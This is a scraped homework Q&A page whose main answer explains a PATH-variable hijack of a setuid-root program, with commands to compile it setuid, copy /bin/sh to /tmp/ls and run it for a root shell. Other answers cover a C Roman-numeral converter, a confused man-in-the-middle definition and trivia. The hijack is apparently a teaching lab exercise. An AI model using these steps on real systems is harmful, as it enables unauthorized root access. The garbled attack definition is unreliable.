1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
telo118 [61]
3 years ago
5

The PATH environment variable.

Computers and Technology
1 answer:
enot [183]3 years ago
8 0

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

You might be interested in
Write a program num2rome.cpp that converts a positive integer into the Roman number system. The Roman number system has digits I
Tom [10]

Answer:

Explanation:

#include <stdio.h>  

int main(void)  

{    

   int num, rem;

   printf("Enter a number: ");

   scanf("%d", &num);

   printf("Roman numerals: ");        

   while(num != 0)

   {

       if (num >= 1000)       // 1000 - m

       {

          printf("m");

          num -= 1000;

       }

       else if (num >= 900)   // 900 -  cm

       {

          printf("cm");

          num -= 900;

       }        

       else if (num >= 500)   // 500 - d

       {            

          printf("d");

          num -= 500;

       }

       else if (num >= 400)   // 400 -  cd

       {

          printf("cd");

          num -= 400;

       }

       else if (num >= 100)   // 100 - c

       {

          printf("c");

          num -= 100;                        

       }

       else if (num >= 90)    // 90 - xc

       {

          printf("xc");

          num -= 90;                                              

       }

       else if (num >= 50)    // 50 - l

       {

          printf("l");

          num -= 50;                                                                      

       }

       else if (num >= 40)    // 40 - xl

       {

          printf("xl");            

          num -= 40;

       }

       else if (num >= 10)    // 10 - x

       {

          printf("x");

          num -= 10;            

       }

       else if (num >= 9)     // 9 - ix

       {

          printf("ix");

          num -= 9;                          

       }

       else if (num >= 5)     // 5 - v

       {

          printf("v");

          num -= 5;                                      

       }

       else if (num >= 4)     // 4 - iv

       {

          printf("iv");

          num -= 4;                                                            

       }

       else if (num >= 1)     // 1 - i

       {

          printf("i");

          num -= 1;                                                                                    

       }

   }

   return 0;

}

8 0
2 years ago
Which term refers to a type of an attack in which an attacker makes his data look like it is coming from a different source addr
Andrew [12]

<u>Man-in-the-middle attack</u> refers to a type of an attack in which an attacker makes his data look like it is coming from a different source address, and is able to intercept information transferred between two computers.

<u>Explanation:</u>

A man-in-the-middle attack (MITM) is an assault where the aggressor furtively transfers and potentially changes the correspondences between two gatherings who accept that they are straightforwardly speaking with one another. This happens when the assailant catches a segment of a correspondence between two gatherings and retransmits it sometime in the future. The assailant would then be able to screen and perhaps change the substance of messages. The utilization of such encoded burrows makes extra secure layers when you get to your organization's secret systems over connections like Wi-Fi.

8 0
2 years ago
Which of the following does every font that you choose communicate, either on a conscious or subconscious level?
sergeinik [125]
I believe it is b so I will just leave it at that

3 0
3 years ago
Read 2 more answers
What is the Multiplier if the change in RGDP is $525,000,000 and initial spending is $100,000?
OLEGan [10]
The right answer is A
4 0
3 years ago
What names of websites of presentation or visualization <br>​
Fittoniya [83]

Explanation:

Google Slides. Google has made a conscious effort to emulate many of MS Office's tools, and Slides is their alternative to PowerPoint. ...

DesignBold. ...

PowToon. ...

Slides. ...

ClearSlide. ...

Moovly. ...

Prezi. ...

KnowledgeVision.

5 0
3 years ago
Other questions:
  • In addition to talking to other doctors remotely, telegraphy technology?
    5·1 answer
  • Which term is used to describe the science of examining raw data, removing excess noise from the dataset, and organizing the dat
    15·1 answer
  • Indicate the proper order (1-4) of the following PR strategic planning 4-step process. 1 Defining the problem 2 Evaluating the p
    10·1 answer
  • dentify the type of observational study​ (cross-sectional, retrospective, or​ prospective) described below. A research company u
    5·1 answer
  • Que son los sistemas de control con retroalimentacion
    10·1 answer
  • Its a zoom call
    7·1 answer
  • Write a calculator program using a switch statement that: a) Prompts the user to enter two numbers b) Prompts the user to select
    6·1 answer
  • You are comparing cryptographic solutions to implement at your organization. Which two items should you focus on when you are ev
    12·1 answer
  • if anyone is on a Chromebook, do you ever mean to press backspace, then you accidentally press the power button and think "OH CR
    13·2 answers
  • What are the features of the title bar for the Microsoft word application?​
    15·2 answers
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!